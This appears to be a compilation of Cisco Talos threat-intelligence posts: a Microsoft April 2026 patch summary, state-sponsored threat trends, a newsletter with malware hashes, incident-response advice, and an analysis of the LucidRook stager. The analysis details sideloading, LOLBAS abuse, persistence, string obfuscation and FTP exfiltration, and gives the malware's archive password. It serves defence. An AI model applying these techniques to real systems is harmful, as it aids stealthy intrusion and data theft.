Microsoft has released its monthly security update for April 2026, which includes 165 vulnerabilities affecting a wide range of products, including eight Microsoft marked as “critical.” 

CVE-2026-23666 is a critical Denial of Service (DoS) vulnerability that affects the .NET framework. Successful exploitation could allow the attacker to deny service over the network.

CVE-2026-32157 is a critical use after free vulnerability in the Remote Desktop Client that results in code execution. Attack requires an authorized user on the client to connect to a malicious server, which could result in code execution on the client. 

CVE-2026-32190 is a critical user after free vulnerability in Microsoft Office that can result in local code execution. Attacker is remote but attack is carried out locally.  Code from the local machine needs to be executed to exploit the vulnerability. 

CVE-2026-33114 is a critical untrusted pointer deference vulnerability in Microsoft Office Word that could allow the attacker to execute code locally. Code from the local machine needs to be executed to exploit this vulnerability.

CVE-2026-33115 is a critical use after free vulnerability in Microsoft Office word that can result in local code execution. Similar to CVE-2026-33114 and CVE-2026-32190 the attacker is remote, but code needs to be executed from the local machine to exploit the vulnerability.

CVE-2026-33824 is a critical double free vulnerability in the Widows Internet Key Exchange (IKE) extension, allowing remote code execution. An unauthenticated attacker can send specially crafted packets to a Windows machine with IKE version 2 enabled to potentially enable remote code execution. Additional mitigations can include blocking inbound traffic on UDP ports 500 and 4500 if IKE is not in use.

CVE-2026-33826 is a critical improper input validation in Windows Active Directory that can result in code execution over an adjacent network. Requires an authenticated attacker to send specially crafted RPC calls to an RPC host. Can result in remote code execution. Note that successful exploitation requires the attacker be in the same restricted Active Directory domain as the target system.

CVE-2026-33827 is a critical race condition vulnerability in Windows TCP/IP that can result in remote code execution. Successful exploitation requires the attacker to win a race condition along with additional actions prior to exploitation to prepare the target environment. An unauthenticated actor can send specially crafted IPv6 packets to a Windows node where IPSec is enabled to potentially achieve remote code execution. 

CVE-2026-32201 is an important improper input validation vulnerability in Microsoft Office SharePoint that can allow an unauthorized user to perform spoofing. An attacker that successfully exploits this vulnerability could view some sensitive information and make changes to disclosed information. This vulnerability has already been detected as being exploited in the wild.

The majority of the remaining vulnerabilities are labeled as important with a two moderate and one low vulnerability also being patched.  Talos would like to highlight the several additional  important vulnerabilities that Microsoft has deemed as “more likely” to be exploited.

·      CVE-2026-0390 - UEFI Secure Boot Security Feature Bypass Vulnerability

·      CVE-2026-26151 - Remote Desktop Spoofing Vulnerability

·      CVE-2026-26169 - Windows Kernel Memory Information Disclosure Vulnerability

·      CVE-2026-26173 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

·      CVE-2026-26177 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

·      CVE-2026-26182 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

·      CVE-2026-27906 - Windows Hello Security Feature Bypass Vulnerability

·      CVE-2026-27908 - Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability

·      CVE-2026-27909 - Windows Search Service Elevation of Privilege Vulnerability

·      CVE-2026-27913 - Windows BitLocker Security Feature Bypass Vulnerability

·      CVE-2026-27914 - Microsoft Management Console Elevation of Privilege Vulnerability

·      CVE-2026-27921 - Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability

·      CVE-2026-27922 - Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability

·      CVE-2026-32070 - Windows Common Log File System Driver Elevation of Privilege Vulnerability

·      CVE-2026-32075 - Windows UPnP Device Host Elevation of Privilege Vulnerability

·      CVE-2026-32093 - Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability

·      CVE-2026-32152 - Desktop Window Manager Elevation of Privilege Vulnerability

·      CVE-2026-32154 - Desktop Window Manager Elevation of Privilege Vulnerability

·      CVE-2026-32155 - Desktop Window Manager Elevation of Privilege Vulnerability

·      CVE-2026-32162 - Windows COM Elevation of Privilege Vulnerability

·      CVE-2026-32202 - Windows Shell Spoofing Vulnerability

·      CVE-2026-32225 - Windows Shell Security Feature Bypass Vulnerability

·      CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability

A complete list of all other vulnerabilities Microsoft disclosed this month is available on its update page. In response to these vulnerability disclosures, Talos is releasing a new Snort rule set that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

The rules included in this release that protect against the exploitation of many of these vulnerabilities are: 1:65902-1:65903, 1:66242-1:66251, 1:66259-1:66260, 1:66264-1:66267, 1:66275-1:66276 

The following Snort 3 rules are also available: 1:301398, 1:301468-1:3101472, 1:301475, 1:301477-1:301478, 1:301480

Across the Talos 2025 Year in Review, state-sponsored threat activity from China, Russia, North Korea, and Iran all had varying motivations, such as espionage, disruption, financial gain, and geopolitical influence.

But when you look at how these operations actually unfold, similar tactics, techniques, and procedures (TTPs) keep appearing: access through vulnerabilities and identity, and access that remains under the radar for a considerable period of time.

Here are the dominant themes from the state-sponsored section of the Talos Year in Review, available now.

China

China-nexus threat activity stood out this year for both volume and efficiency, with Talos investigations increasing by nearly 75% compared to 2024.

Newly disclosed vulnerabilities were exploited almost immediately (e.g., ToolShell), sometimes before patches were widely available. At the same time, long-standing, unpatched vulnerabilities in networking devices and widely used software continued to provide reliable entry points for these types of adversary.

Once inside, the focus shifts to persistence. Web shells, custom backdoors, tunneling tools, and credential harvesting all support long-term access. 

There’s also more overlap than ever before between state-sponsored and financially motivated activity. It is likely that in some cases, state-sponsored actors conducted operations for personal profit alongside espionage-focused missions, while in others, cybercriminals collected valuable information during an attack that could be sold to espionage-motivated actors for further exploitation, providing them dual revenue streams.

Russia

Russian-linked cyber activity remains closely tied to their geopolitical objectives, particularly the war in Ukraine.

Many operations continue to rely on unpatched, older vulnerabilities (especially in networking devices) to gain initial access. These flaws provide a dependable way in for adversaries and support long-term intelligence gathering.

Russia’s offensive cyber activity is highly correlated with developments in the larger geopolitical sphere. For example, the announcement of sanctions intended to apply pressure on Russia by both the U.S. and E.U. often corresponded with our observed levels of Russian cyber activity.

Common malware families like Dark Crystal RAT (DCRAT), Remcos RAT, and Smoke Loader appeared frequently in Talos investigations on operations against Ukraine in 2025. These families aren’t exclusive to Russia-nexus threat actors, but they continue to be effective in environments where patching and visibility are inconsistent, and should therefore be high priority targets for defense and monitoring.

North Korea

North Korea cyber operations leaned heavily into social engineering and insider access in 2025. These operations were both for financial and espionage purposes.

Campaigns like Contagious Interview (orchestrated by Famous Chollima) used fake recruiters from legitimate companies to socially engineering targets to execute code or hand over credentials. From there, actors stole cryptocurrency, exfiltrated data, and established persistent access.

North Korean cyber actors also pulled off the largest cryptocurrency heist in history in 2025, stealing $1.5 billion. Additionally, thousands of IT workers used stolen identities and AI-generated profiles to secure positions at Fortune 500 companies, generating billions in annual revenue for North Korea’s nuclear weapons and ballistic missiles programs.

Iran

Iranian cyber threat activity in 2025 combined visible disruption with long-term access.

Hacktivist operations increased by 60% in response to geopolitical events, particularly the Israel-Hamas conflict. These campaigns, which include distributed denial-of-service (DDoS) attacks, defacements, and other disruptive operations, are often designed to generate attention and shape narratives.

At the same time, more traditional advanced persistent threat (APT) activity focused on persistence. Groups such as ShroudedSnooper targeted sectors like telecommunications, using custom compact backdoors designed to blend into normal traffic and remain undetected. 

ShroudedSnooper is an APT that public reporting widely attributes to Iran’s Ministry of Intelligence and Security (MOIS). It is very likely an initial access group that passes operations off to secondary threat actors for long term espionage or destructive attacks.

For current threat intelligence related to the developing conflict in Iran, follow our coverage on the Talos blog.

Guidance for defenders

Though the state-sponsored activity that we tracked for the Talos Year in Review have different objectives, they still have the same reliance on gaining and maintaining access. The following guidance is recommended for security teams:

• Don’t ignore older systems: Both newly disclosed and long-known vulnerabilities are actively exploited. 
• Prioritize identity security: Credentialed access and social engineering remain reliable entry points. 
• Increase visibility into network and edge infrastructure: These systems are common targets for persistent access.
• Expect activity to follow global events: Sanctions, conflicts, and political developments often correlate with spikes in activity. Follow the Talos blog to keep informed of new state sponsored activity and campaigns.
• Inspect for long-term presence: Many state-sponsored operations are designed to persist stealthily over time, not trigger immediate disruption. 

Read the 2025 Cisco Talos Year in Review

Download now

One of the clearest trends in the 2025 Talos Year in Review is just how quickly vulnerabilities are now being turned into working exploits. What used to take weeks or months is now happening in days, sometimes hours — and in some cases, exploitation is beginning almost immediately after vulnerability details are made public.

The process of exploitation itself is changing. With the increasing availability of proof-of-concept code, automation, and AI-assisted tooling, certain vulnerabilities can very quickly become weaponized, which is what we saw with React2Shell.

At the same time, the data shows that attackers are not just chasing new vulnerabilities. They are consistently targeting what is exposed, accessible, and valuable.

On one end of the spectrum, near-instant exploitation.
On the other, long-standing vulnerabilities that remain unaddressed.

Attackers are using a combination of speed, scale, and accessibility to reduce the window defenders have to respond, while increasing the impact when they can’t.

In the latest episode of the Talos Threat Perspective, we explore what the ‘industrialization of exploitation’ looks like in practice, and what it means for defenders trying to prioritise risk in an increasingly compressed timeline.

▶️ Watch the full episode below.

Read the 2025 Cisco Talos Year in Review

Download now

Welcome to this week’s edition of the Threat Source newsletter. 

“Study hard what interests you the most in the most undisciplined, irreverent and original manner possible.” ― Richard Feynman  

“I had discovered that learning something, no matter how complex, wasn't hard when I had a reason to want to know it.” ― Homer Hickam, Rocket Boys  

*looks around at - gestures - everything*  

*opens a new tab in the browser, takes in the newest news on AI, a new tab on supply chains, a new tab on vulnerability, and a new tab on active exploitation and zero-days*   

*closes tabs and throws laptop into the nearest bin, à la Ron Swanson*  

*opens other laptop, avoids the internet*  

*puts on headphones for deep work binaural audio*  

*cracks knuckles*  

I’m often asked about why I bring up board games and video games when interviewing perspective analysts or threat hunters, so I’m going to give the 8,000 foot view on my thoughts. With everything that is going on, now more than ever we need the most curious people on the planet on our side.   

What’s the very first and most important step to securing any environment? Knowing the environment, inside and out. When you play any gameyou must understand the rules: the standard opening moves of chess, or Go, or perhaps the common resource-gathering patterns in strategy games. Once you understand what "normal" play looks like, you can immediately spot when an opponent makes a move that is inefficient or unusual — an anomalous trigger that, if spotted, can lead to victory.   

When experienced players recognize patterns (a specific chess gambit, a defensive build in a strategy game, etc.), they don't just react to the current move — they predict several moves into the future from both players, especially if they know their opponents' tendencies. As players gain experience and play against other skilled players, they begin involving feints or decoys (false flags, if you will). A player might sacrifice a minor piece to distract you from their true objective. Learning to look past that "noise" to find the real motivation is the key to taking your experience and skill to the next level.   

Threat actors rarely follow a predictable script. They constantly evolve tactics, techniques, and procedures (TTPs). Developing the mental flexibility to handle those unexpected, non-standard behaviors is essential in identifying the unknowns.  

The transition from board games to threat hunting is rooted in the development of critical thinking and situational awareness. While board games provide a controlled environment to practice these skills, the core competency — that ability to identify the why behind a deviation — is exactly what will make you a successful threat hunter.  

“I prefer to speak in metaphor: That way, no logic can trap me, and no rule can bind me, and no fact can limit me or decide for me what’s possible.” ― Claire Oshetsky, Chouette 

The one big thing 

Cisco Talos has observed threat actors weaponizing legitimate SaaS notification pipelines, such as those in GitHub and Jira, to deliver phishing and spam emails. By leveragingthese platforms' official infrastructure, attackers bypass traditional email authentication protocols like SPF, DKIM, and DMARC. This "Platform-as-a-Proxy" (PaaP) technique exploits the implicit trust organizations place in system-generated notifications to facilitate credential harvesting. These campaigns effectively mask malicious intent behind the reputation of trusted enterprise tools. 

Why do I care? 

Traditional email security gateways are often blind to these attacks because the emails are technically authenticated and originate from verified, trusted domains. This technique exploits "automation fatigue," where users are conditioned to reflexively trust system-generated alerts from business-critical platforms. Consequently, attackers can bypass standard perimeter defenses, making it harder to distinguish between legitimate business communications and sophisticated phishing attempts. 

So now what? 

Transition to a Zero-Trust approach by implementing instance-level verification and cross-referencing notifications against internal SaaS directories. Security teams should ingest SaaS API logs into their SIEM to detect anomalous precursor activities, such as suspicious project creation or mass invitations. Additionally, introduce friction for high-risk interactions by requiring out-of-band verification and apply semantic intent analysis to identify notifications that deviate from a platform's established functional baseline. 

Top security headlines of the week 

Tech giants launch AI-powered “Project Glasswing” 
Major technology companies have joined forces in an effort to use advanced artificial intelligence to identify and address security flaws in the world’s most critical software systems. (CyberScoop) 

Russian government hackers broke into thousands of home routers to steal passwords 
Fancy Bear, or APT 28, is known for its high-profile hacks and spying operations, including the breach of the U.S. Democratic National Committee in 2016 and the destructive hack that hit satellite provider Viasat in 2022. (TechCrunch) 

Storm-1175 deploys Medusa ransomware at “high velocity” 
Storm-1175 has rapidly exploited more than a dozen n-days, the most recent of which is CVE-2026-1731, a critical remote code execution flaw in BeyondTrust Remote Support and older versions of the vendor's Privileged Remote Access. (Dark Reading) 

North Korean hackers pose as trading firm to steal $285M from Drift 
A group of individuals approached Drift staff at a “major crypto conference,” presenting as a professional quantitative trading firm. They went so far as to deposit $1M of their own money into a Drift Ecosystem Vault between December 2025 and January 2026. (HackRead) 

Telehealth giant Hims & Hers says its customer support system was hacked 
A spokesperson for Hims & Hers said the company was hit by a social engineering attack, and the stolen data “primarily included customer names and email addresses.” (TechCrunch) 

Can’t get enough Talos? 

New Lua-based malware observed in targeted attacks against Taiwanese organizations 
Cisco Talos uncovered a cluster of activity we track as UAT-10362 conducting spear-phishing campaigns against Taiwanese non-governmental organizations (NGOs) and suspected universities to deliver a newly identified malware family, “LucidRook.” 

Vulnerabilities old and new and something React2 
2025 was characterized by an unending beat-down on infrastructure that relied on older enmeshed dependencies (e.g., Log4j and PHPUnit), while React2Shell rocketed to the highest percentage of attacks for the entire year within the last three weeks of the year. 

From the field to the report and back again 
The same Year in Review report that Talos IR casework feeds into is the report that defenders should be feeding back into their own preparation cycles. Here’s how you can start. 

Talos Takes: 2025's ransomware trends and zombie vulnerabilities 
In this episode, Amy and Pierre Cadieux unpack the ransomware and vulnerability trends that defined 2025. From the persistent ransomware threats targeting the manufacturing sector to the rise of stealthy "living off the land" tactics, we break down what these shifts mean for your defense strategy. 

Upcoming events where you can find Talos 

• OffensiveCon (May 15 – 16) Berlin, Germany 

Most prevalent malware files from Talos telemetry over the past week 

SHA256: 9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507  
MD5: 2915b3f8b703eb744fc54c81f4a9c67f  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507 
Example Filename: VID001.exe  
Detection Name: Win.Worm.Coinminer::1201 

SHA256: 90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
MD5: c2efb2dcacba6d3ccc175b6ce1b7ed0a  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=90b1456cdbe6bc2779ea0b4736ed9a998a71ae37390331b6ba87e389a49d3d59 
Example Filename: APQ9305.dll  
Detection Name: Auto.90B145.282358.in02 

SHA256: 38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55  
MD5: 41444d7018601b599beac0c60ed1bf83  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=38d053135ddceaef0abb8296f3b0bf6114b25e10e6fa1bb8050aeecec4ba8f55 
Example Filename: content.js  
Detection Name: W32.38D053135D-95.SBX.TG 

SHA256: a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
MD5: 7bdbd180c081fa63ca94f9c22c457376  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91  
Example Filename: d4aa3e7010220ad1b458fac17039c274_62_Exe.exe 
Detection Name: Win.Dropper.Miner::95.sbx.tg** 

SHA256: 96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974  
MD5: aac3165ece2959f39ff98334618d10d9  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=96fa6a7714670823c83099ea01d24d6d3ae8fef027f01a4ddac14f123b1c9974 
Example Filename: d4aa3e7010220ad1b458fac17039c274_63_Exe.exe  
Detection Name: W32.Injector:Gen.21ie.1201 

SHA256: 5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe  
MD5: a2cf85d22a54e26794cbc7be16840bb1  
Talos Rep: https://talosintelligence.com/talos_file_reputation?s=5e6060df7e8114cb7b412260870efd1dc05979454bd907d8750c669ae6fcbcfe  
Example Filename: a2cf85d22a54e26794cbc7be16840bb1.exe  
Detection Name: W32.5E6060DF7E-100.SBX.TG

Every year, Cisco Talos publishes Year in Review, a comprehensive look at the previous year’s threat landscape. It’s drawn from an enormous volume of telemetry, such as endpoint detections, network traffic, email data, and boots-on-the-ground Cisco Talos Incident Response (Talos IR) engagements. 

As incident responders, we see threats mid-detonation in the wreckage of an Active Directory environment, or in the lateral movement artifacts left behind by an affiliate who got in using nothing more than a valid account. The Year in Review distills those raw observations into structured intelligence, but that intelligence loop works both ways. The same report that our IR casework feeds into is the report that defenders should be feeding back into their own preparation cycles.

IR casework shapes the Year in Review, the Year in Review shapes your readiness 

When Talos IR closes out an engagement with customers, the tactics, techniques, and procedures (TTPs) we observe through forensic work and analysis are catalogued, aggregated, and analyzed alongside broader Cisco telemetry. When we track the emergence of a new exploit like React2Shell redefining attacker speed, or when we see Qilin rise to dominate the ransomware landscape while legacy groups like others maintain rare, sustained momentum, those shifts in the adversary ecosystem become the intelligence that informs what we are on the lookout for during the next investigation. When we observe patterns of behavior, they may form trend lines that span multiple years and reveal how the landscape is evolving. 

For defenders, this means the Year in Review is not a theoretical document. It is a distillation of what actually happened to organizations we respond to, investigated by the people who were in the room when things broke down. Here are some suggestions on how to operationalize these findings.

Turning findings into tabletop scenarios 

One of the most immediate and practical applications of Year in Review is raw material for tabletop exercises. The report hands you the adversary playbook. For example, the 2024 Year in Review highlighted that identity-based attacks accounted for 60% of all Talos IR cases, with Active Directory being the focal point in 44% of those incidents. Attackers were not breaking down doors with zero-days; rather, they were walking through the front door with stolen credentials, often bypassing multi-factor authentication (MFA) through push fatigue, misconfigured policies, or the simple fact that MFA was never fully enrolled in the first place for some accounts.  

The 2025 Year in Review reinforces and deepens this picture. Attacks against MFA evolved significantly, with MFA spray attacks doubling down on identity and access management (IAM) infrastructure while expanding efforts against high-value privileged accounts. Device compromise attacks saw a significant rise in activity, showing that actors increasingly value reliable, repeatable access methods over one-off exploitation. These are adversary preferences that should directly shape your exercise scenariosand cybersecurity preparedness. 

That is a ready-made tabletop scenario. Work with your team on this exact entry scenario and walk through it just as adversary would. An adversary authenticates to your VPN. MFA fires, but the user approves the push because they were already expecting a login prompt. The attacker is now inside your perimeter with legitimate access. What does your detection look like? How quickly do your analysts identify the anomaly? Who makes the call to force a password reset and revoke sessions? These are some good questions to cover in this scenario. The 2025 Year in Review found that actors tailor their MFA attack style depending on the sector, and that manufacturing was the most impacted sector for ransomware in 2025, underscoring persistent risk to repeatedly targeted industries. If you operate in manufacturing, health care, or another sector that has appeared consistently in ransomware targeting data, your tabletop should reflect the specific TTPs directed at your vertical — not a generic ransomware exercise. These are just some ideas to get started on scenarios.

Validate your detections against real-world tradecraft 

Beyond tabletops, the Year in Review provides a prioritized list of what to test your detections against. Year after year, Talos IR engagements reveal a consistent core of adversary tradecraft that organizations are still struggling to detect. Tools like PowerShell and Mimikatz appear in a significant portion of engagements. Remote services such as RDP and SSH continue to be abused for lateral movement. Ransomware operators are increasingly disabling security solutions before deploying payloads, and in 2024, they succeeded in doing so at an alarming rate. 

The 2025 Year in Review adds critical nuance to detection priorities through its vulnerability analysis. The top 10 most targeted vulnerabilities tell a story about what attackers reach for. React2Shell redefined attacker speed and targeting, compressing the window between disclosure and exploitation. ToolShell's quick rise to the top five highlighted the sheer volume and impact of attacks exploiting development tool vulnerabilities. 

For defenders, this is a checklist. Can your endpoint detection and response (EDR) detect and alert on the disabling of its own agent? Do you have detections for credential dumping from LSASS or web shell deployment? What about a scenario where direct exploitation takes place, but no web shell is deployed? Are you monitoring for anomalous Remote Desktop Protocol (RDP) sessions originating from unexpected source hosts? The Year in Review tells you what the adversary is actually doing, not what they might hypothetically do. That distinction is critical when you are prioritizing detection engineering across your organization. 

Map these findings to the MITRE ATT&CK framework, which the Talos Quarterly IR Trend Reports and the Year in Review already reference, and you have a structured way to assess your coverage gaps. If valid account abuse is the dominant initial access technique and your detections are heavily weighted toward exploit-based intrusions, you have a mismatch between your defensive posture and the actual threat landscape.

Stress-test your IR plan, not just your tooling 

The Year in Review also reveals patterns in where organizations struggle that go beyond technology. Across multiple years of IR engagements, common security weaknesses keep surfacing: incomplete asset inventories, inconsistent logging, missing or misconfigured MFA, inadequate network segmentation, and unpatched or end-of-life network devices that remain exposed. The 2024 report noted that some of the most targeted network vulnerabilities affected end-of-life devices with no available patches, yet those devices remained in production environments. The 2025 data reinforce this with even sharper clarity:  Legacy systems remain highly vulnerable to attack, CVE age distribution data highlights systemic patch delays, and a small number of vulnerabilities in network infrastructure continue to drive outsized risk. 

Two additional areas from the 2025 report deserve attention in your planning cycle. First, phishing continues to evolve. Phishing plays a key role in both initial access and post-compromise activity, with business email compromise-style and workflow-based lures remaining the primary theme. Travel and logistics lures surged, while political lures dropped off and IT-themed lures became more prominent. These shifts matter for security awareness training; if your phishing simulations are still heavily weighted toward current-events lures, they may not reflect what your users are encountering. 

Second, the AI threat landscape warrants monitoring. The 2025 observations include dedicated coverage of how AI is shaping the threat environment. While the full scope of AI-enabled threats is still emerging, defenders should consider how AI may be lowering the barrier for adversaries in areas like phishing content generation, vulnerability discovery, and social engineering at scale. Your IR plans should be tested, validated, and updated to handle the new security regime we find ourselves in. 

Build a year-round preparation cadence 

Rather than treating the Year in Review as a one-time read, consider building a recurring preparation cycle around it. When the report drops, review the top-level findings with your security leadership and identify the three or four trends most relevant to your environment. In the quieter early months, run a tabletop exercise built around the most applicable scenario. Through the middle of the year, use Quarterly IR Trend Report data to adjust detection priorities and validate coverage. Before year-end, when threat activity tends to intensify, conduct a focused review of your IR plan. 

Spear-phishing campaigns against Taiwanese NGOs and universities 

Cisco Talos observed a spear-phishing attack delivering LucidRook, a newly identified stager that targeted a Taiwanese NGO in October 2025. The metadata in the email suggests that it was delivered via authorized mail infrastructure, which implies potential misuse of legitimate sending capabilities.

The email contained a shortened URL that leads to the download of a password protected and encrypted RAR archive. The decryption password was included in the email body. Based on this email and the collected samples, Talos observed two distinct infection chains originating from the delivered archives. 

Decoy files 

In the infection chain, the threat actor deployed a dropper that opens the decoy documents included in the bundle. One example decoy file is a letter issued by the Taiwanese government to universities in Taiwan. This document is a formal directive reminding national universities that teachers with administrative roles are legally required to obtain prior approval and file attendance records before traveling to China. An official version of this document can be found on the Taiwanese government website.

Two infection chains 

Talos identified two infection chains used to deploy LucidRook. Both were multi-stage and began with either an LNK or an EXE launcher. The LNK infection chain uses an initial dropper Talos tracks as LucidPawn. 

LNK-based infection chain

The LNK-based infection chain was observed in both the sample targeting Taiwanese NGOs (which were distributed via spear-phishing emails) and the sample we suspect targeted Taiwanese universities. Both samples were delivered as an archive, containing an LNK file with a document file with substituted PDF file icon, as well as a hidden directory in the folder, as shown in Figure 3.

The hidden directory contains four layers of nested folders designed to evade analysis. The fourth-level directory contains the LucidPawn dropper sample (DismCore.dll), a legitimate EXE file (install.exe), and a decoy file. An example folder structure is shown in Figure 4.

When the user clicks the LNK file, it executes the PowerShell testing framework script C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Build.bat, passing the path to binaries located in the hidden directory in order to launch the embedded malware. This is a known technique that leverages living-off-the-land binaries and scripts (LOLBAS) to evade detection.

The PowerShell process executes the following command:

The index.exe file is a legitimate Windows binary associated with the Deployment Image Servicing and Management (DISM) framework. It is abused as a loader to sideload LucidPawn via DLL search order hijacking.

The LucidPawn dropper embeds two AES-encrypted binaries: a legitimate DISM executable and the LucidRook stager. Upon execution, both binaries are decrypted and written to %APPDATA%\Local\Microsoft\WindowsApps\, with the DISM executable renamed to msedge.exe to impersonate the Microsoft Edge browser and the LucidRook stager written as DismCore.dll. Persistence is established via a LNK file in the Startup folder that launches msedge.exe. After dropping the binaries, LucidPawn launches the DISM executable to sideload the LucidRook stager.  

The LucidPawn dropper also handles decoy documents by locating files with specific document extensions (.pdf, .docx, .doc, .xlsx) in the working directory, copying them to the first layer directory, deleting the original lure LNK file, and opening the decoy using Microsoft Edge to distract the victim.

EXE-based infection chain  

The second infection chain leverages only a malicious EXE written in the .NET framework without the LucidPawn dropper.

Talos observed the EXE-based infection chain in samples uploaded to public malware repositories in December 2025. The samples were distributed as password protected 7-Zip archives named “Cleanup(密碼：33665512).7z”. Based on the Traditional Chinese language used in the archive filename, the language shown in the malicious dropper, and the geographic context of the sample upload locations, we assess with moderate to high confidence that the campaign was intended to target Taiwanese entities.

The 7-Zip archive contains a single executable file named Cleanup.exe. The extracted binary masquerades as Trend Micro™ Worry-Free™ Business Security Services, using a forged application name and icon to impersonate a legitimate security product. In addition, the binary contains a compilation timestamp that is clearly falsified (2065-01-12 14:12:28 UTC).

The executable is a simple dropper written with the .NET framework. It embeds three binary files as Base64-encoded data within its code and, upon execution, decodes and drops these files into the C:\ProgramData directory. The dropped files include a legitimate DISM executable, the LucidRook stager, and a LNK file placed in the Startup folder to establish persistence.

After execution, the program displays a decoy message box claiming that the cleanup process has completed.

LucidRook Lua-based stager 

LucidRook is a sophisticated 64-bit Windows DLL stager consisting of a Lua interpreter, embedded Rust-compiled libraries, and Lua bytecode payload. The DLL embeds a Lua 5.4.8 interpreter and retrieves a staged payload (in our sample named archive1.zip) from its C2 over FTP. After unpacking and validating the downloaded stage, the implant loads and executes the resulting Lua bytecode on the compromised host. Embedding the Lua interpreter effectively turns the native DLL into a stable execution platform while allowing the threat actor to update or tailor behavior for each target or campaigns by updating the Lua bytecode payload with a lighter and more flexible development process. This approach also improves operational security, since the Lua stage can be hosted only briefly and removed from C2 after delivery, and it can hinder post-incident reconstruction when defenders recover only the loader without the externally delivered Lua payload.  

Due to the embedded Lua interpreter and stripped Rust-compiled components, the DLL is complex to reverse engineer. The binary is approximately 1.6MB in size and contains over 3,800 functions, reflecting the amount of runtime and library code bundled into a single module. Execution is initiated via the DllGetClassObject export; however, the sample implements no COM functionality and uses the export solely as an entry point.

Upon execution, the malware’s core workflow is twofold. First, it performs host reconnaissance, collecting system information that is encrypted, packaged, and exfiltrated to the C2 infrastructure. It then retrieves an encrypted, staged Lua bytecode payload from the C2 server, which is subsequently decrypted and executed on the compromised host.

Lua interpreter embedding implementation 

LucidRook embeds a Lua 5.4.8 interpreter directly inside the DLL and uses it to execute a downloaded Lua bytecode stage. Before handing the stage to the VM, the loader verifies that the decrypted blob begins with the standard Lua bytecode magic (\x1bLua), indicating the payload is a compiled Lua chunk rather than plaintext script.

The Lua runtime is also wrapped with additional controls. Notably, the malware implements a non-standard “safe mode” that disables package.loadlib (as shown by the unique error string “package.loadlibis disabled in safe mode”), which prevents Lua payloads from loading arbitrary external DLL-based modules via the standard require/loader pathway. Additionally, in the library initialization flow observed, the malware opens common standard libraries (e.g., io, os, string, math, package) but does not open the debug library, which would normally provide powerful introspection primitives; this omission is consistent with an anti-analysis hardening choice.

String obfuscation scheme 

The LucidRook samples employ a sophisticated string obfuscation scheme. The obfuscation was applied to almost all the embedded strings including file extensions, internal identifiers, and C2 addresses. This transformation increases the difficulty of analysis and detection.

The deobfuscation follows a structured two-stage runtime process: 

1. Address calculation: Rather than using direct offsets, the malware calculates the memory address of an encrypted string through a unique series of arithmetic operations for each string. This design prevents cross-referencing encrypted data blocks to their use-sites for reverse engineering.  
2. Runtime key reconstruction and XOR decryption: Each 4-byte chunk is decrypted using XOR with a key that is not hardcoded directly. Instead, the key is reconstructed at runtime by combining a constant seed value (ending in 0x00) and a single-byte mask read from a parallel lookup table: Plaintext = Ciphertext ^ (Seed | Mask)

The use of a parallel lookup table for masks significantly complicates the creation of automated "unpacking" scripts, as the relationship between the encrypted string and its corresponding mask is obscured by the flattened control flow.

Host reconnaissance 

The malware collects several system information including user account name, computer name, driver information, user profile directory, installed applications, running process, and so on. The collected information is stored into three files (named 1.bin, 2.bin, 3.bin) with two layers of encryptions: RSA and a password-encrypted ZIP archive. The BIN files are encrypted with an embedded RSA public key (DER hash ab72813444207dba5429cf498c6ffbc69e1bd665d8007561d0973246fa7f8175) and then compressed into a ZIP file encrypted with password !,OO5*+ZEYORE%&.K1PQHxiODU^RA046. With these encryptions in place, the exfiltrated data can only be decrypted by the threat actor. The decrypted RSA public key used to encrypt exfiltrated data is:

-----BEGIN RSA PUBLIC KEY----- 
MIIBCgKCAQEA3YeM0FbZO8QB3/ctZd2+oS8weSUwmgp33c5lVJ8InJx5yJJnXF+8 
qLL+nzwcItVQyAQbZBymN9ueIgkNRBQuRJgZOxLHG2cbNIWXMImKb5zkkyIUfCz1 
hLprvBu4i2IIeWTFyTLfIpwZ/rUn+lARRmIeWTmJezOaSh5QvVaF6Oqk5qoTXk9A 
MivxKnfFiMhlBh3/V6S4+gTzqy7IwgSuPv8IL6n5LF+N8DmIvAVCck1e2KIYMu54 
UT7ef16N60LVksADJsnk+E5CSOeD4FzSTjS9G9c3sZFP/7r7xAbr5CbKvaBvJ+49 
7OlzJjaq1H+M7aOAPKaf/hyewEHIr+W1EQIDAQAB 
-----END RSA PUBLIC KEY----- 

The encrypted data is archived into a file named archive4.zip and uploaded to the C2 FTP server using authenticated credentials obfuscated and embedded in the stager. 

C2 communication 

The LucidRook stager communicates with the abused/compromised FTP servers to not only upload the collected system information but also to download and execute Lua bytecode payload to achieve remote code execution. 

FTP servers with publicly exposed credentials 

LucidRook uses plaintext FTP for both staging and exfiltration. In the observed captures, the implant authenticates with embedded credentials, switches to binary mode (TYPE I), enters passive mode (PASV), and uploads the exfiltrated information in an archive named archive4.zip via STOR before closing the session. It then establishes a second FTP session and attempts to retrieve archive1.zip (payload) via RETR.

